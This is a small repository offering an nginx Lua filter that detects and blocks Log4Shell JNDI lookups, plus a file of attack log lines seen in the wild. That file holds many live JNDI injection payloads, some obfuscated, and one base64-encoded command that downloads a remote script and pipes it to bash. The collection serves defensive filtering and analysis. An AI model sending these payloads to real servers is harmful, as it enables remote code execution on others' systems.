├── LICENSE ├── README.md ├── examples-in-the-wild.md └── mitigate-log4shell.conf /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # nginx-mitigate-log4shell 2 | Mitigate log4shell (CVE-2021-44228 and CVE-2021-45046) vulnerability attacks using Nginx LUA script 3 | 4 | Requires the Nginx lua module (https://www.nginx.com/resources/wiki/modules/lua/) to be enabled. 5 | 6 | Use `include /path/to/mitigate-log4shell.conf;` in the `server {...}` context. Can be included in multiple server contexts. 7 | 8 | Can also be placed in the `http {...}` context and is therefore automatically applied on every Nginx config. 9 | 10 | More information in our blog article: https://www.infiniroot.com/blog/1155/using-nginx-lua-script-mitigate-log4shell-cve-2021-44228-vulnerability . 11 | -------------------------------------------------------------------------------- /examples-in-the-wild.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-44228 (Log4Shell) examples detected in the wild 2 | 3 | Notes: 4 | 5 | - Replace potentially logged attacked domain with 'victim.example.com' 6 | - Replace potentially logged remote client/IP with 'attacker' 7 | - Replace potentially logged bad server (containing the RCE) with 'target.example.com' 8 | 9 | ## Using payload in request 10 | 11 | 12 | ## Using payload in headers 13 | ``` 14 | Found potential log4j attack in header user-agent:${jndi:ldap://target.example.com:1389/Basic/Command/Base64/KGN1cmwgLVMgaHR0cHM6Ly93d3cuZWNvbi1qb2JzLmNvbS9TY3JpcHRzL29wLnBocHx8d2dldCBodHRwczovL3d3dy5lY29uLWpvYnMuY29tL1NjcmlwdHMvb3AucGhwKXxiYXNo}, client: attacker, server: victim.example.com, request: "GET /shop/admin/ppcorg HTTP/2.0", host: "victim.example.com", referrer: "https://victim.example.com/shop/admin/ppcorg" 15 | Found potential log4j attack in header user-agent:${jndi:ldap://target.example.com:1389/ee2d66f1-a7e7-4425-8662-35319a82a98b}, client: attacker, server: victim.example.com, request: "GET / HTTP/2.0", host: "victim.example.com" 16 | Found potential log4j attack in header user-agent:${jndi:ldap://x${hostName}.target.example.com/a}, client: attacker, server: victim.example.com, request: "GET /blog/ HTTP/2.0", host: "victim.example.com", referrer: "https://www.google.com/" 17 | Found potential log4j attack in header user-agent:/${jndi:ldap://target.example.com:1389/Exploit}, client: attacker, server: victim.example.com, request: "GET / HTTP/1.1", host: "victim.example.com" 18 | Found potential log4j attack in header user-agent:${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${upper:d}${lower:a}${upper:p}://target.example.com:1389/t}, client: attacker, server: victim.example.com, request: "GET / HTTP/1.1", host: "victim.example.com:443" 19 | Found potential log4j attack in header x-api-version:${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://target.example.com:1389/t}, client: attacker, server: victim.example.com, request: "GET / HTTP/1.1", host: "victim.example.com:443" 20 | ``` 21 | 22 | ## Using payload in request and headers 23 | 24 | ``` 25 | Found potential log4j attack in header x-forwarded-for:${${::-j}nd${::-i}:ldap://target.example.com:1389/or2q2y}, client: attacker, server: victim.example.com, request: "GET /x=$%7B$%7B::-j%7Dnd$%7B::-i%7D:ldap:/target.example.com:1389/or2q2y%7D?id=%24%7B%24%7B%3A%3A-j%7Dnd%24%7B%3A%3A-i%7D%3Aldap%3A%2F%2Ftarget.example.com%3A1389%2For2q2y%7D HTTP/1.1", host: "victim.example.com", referrer: "${${::-j}nd${::-i}:ldap://target.example.com:1389/or2q2y}" 26 | Found potential log4j attack in header true-client-ip:${jndi:ldap://target.example.com:62582/a13923}, client: attacker, server: victim.example.com, request: "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2Ftarget.example.com%3A62582%2Fa13923%7D HTTP/1.1", host: "victim.example.com", referrer: "${jndi:ldap://target.example.com:62582/a13923}" 27 | Found potential log4j attack in header cookie:${jndi:ldap://target.example.com:2222/lx-ffffd46747ddbb0103daf4b761000000008e974c}=${jndi:ldap://target.example.com:2222/lx-ffffd46747ddbb0104daf4b7610000000020ca85}, client: attacker, server: victim.example.com, request: "GET /$%7Bjndi:ldap://target.example.com:2222/lx-ffffd46747ddbb0100daf4b761000000000dfd35%7D?${jndi:ldap://target.example.com:2222/lx-ffffd46747ddbb0101daf4b76100000000a4adee}=${jndi:ldap://target.example.com:2222/lx-ffffd46747ddbb0102daf4b76100000000a05b12} HTTP/1.1", host: "${jndi:ldap:" 28 | Found potential log4j attack in header x-api-key:${jndi:ldap://target.example.com/a}, client: attacker, server: victim.example.com, request: "GET /?test=${jndi:ldap://target.example.com/a} HTTP/1.1", host: "victim.example.com", referrer: "${jndi:ldap://target.example.com/a}" 29 | Found potential log4j attack in header if-match:${jndi:ldap://target.example.com/}, client: attacker, server: victim.example.com, request: "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2Ftarget.example.com%2F%7D&page=%24%7Bjndi%3Aldap%3A%2F%2Ftarget.example.com%2F%7D&search=%24%7Bjndi%3Aldap%3A%2F%2Ftarget.example.com%2F%7D HTTP/1.1", host: "victim.example.com", referrer: "${jndi:ldap://target.example.com/}" 30 | ``` 31 | -------------------------------------------------------------------------------- /mitigate-log4shell.conf: -------------------------------------------------------------------------------- 1 | # LUA block to detect, block and log Log4Shell attacks (C) Infiniroot 2021 (@infiniroot) 2 | # with lua fixes and other enhancements from Andreas Nanko (@andreasnanko) 3 | rewrite_by_lua_block { 4 | 5 | function decipher(v) 6 | local s = tostring(v) 7 | s=ngx.unescape_uri(s) 8 | if string.find(s, "${base64:") then 9 | t=(string.gsub(s, "${${base64:([%d%a%=]+)}}", "%1")) 10 | s=string.gsub(s, "${base64:([%d%a%=]+)}", tostring(ngx.decode_base64(t))) 11 | end 12 | s=string.gsub(s, "${lower:(%a+)}", "%1") 13 | s=string.gsub(s, "${upper:(%a+)}", "%1") 14 | s=string.gsub(s, "${env:[%a_-]+:%-([%a:])}", "%1") 15 | s=string.gsub(s, "${::%-(%a+)}", "%1") 16 | if string.lower(s) == string.lower(tostring(v)) then 17 | return string.lower(s) 18 | else 19 | return decipher(s) 20 | end 21 | end 22 | 23 | local req_headers = "Headers: "; 24 | local h, err = ngx.req.get_headers() 25 | for k, v in pairs(h) do 26 | req_headers = req_headers .. k .. ": " .. tostring(v) .. "\n"; 27 | if v then 28 | if string.match(decipher(v), "{jndi:") then 29 | ngx.log(ngx.ERR, 'Found potential log4j attack in header ' .. k .. ':' .. tostring(v)) 30 | ngx.exit(ngx.HTTP_FORBIDDEN) 31 | end 32 | else 33 | if err then 34 | ngx.log(ngx.ERR, "error: ", err) 35 | return 36 | end 37 | end 38 | end 39 | local uri = tostring(ngx.var.request_uri) 40 | if string.match(decipher(uri), "{jndi:") then 41 | ngx.log(ngx.ERR, 'Found potential log4j attack in request: ' .. uri ) 42 | ngx.exit(ngx.HTTP_FORBIDDEN) 43 | end 44 | } --------------------------------------------------------------------------------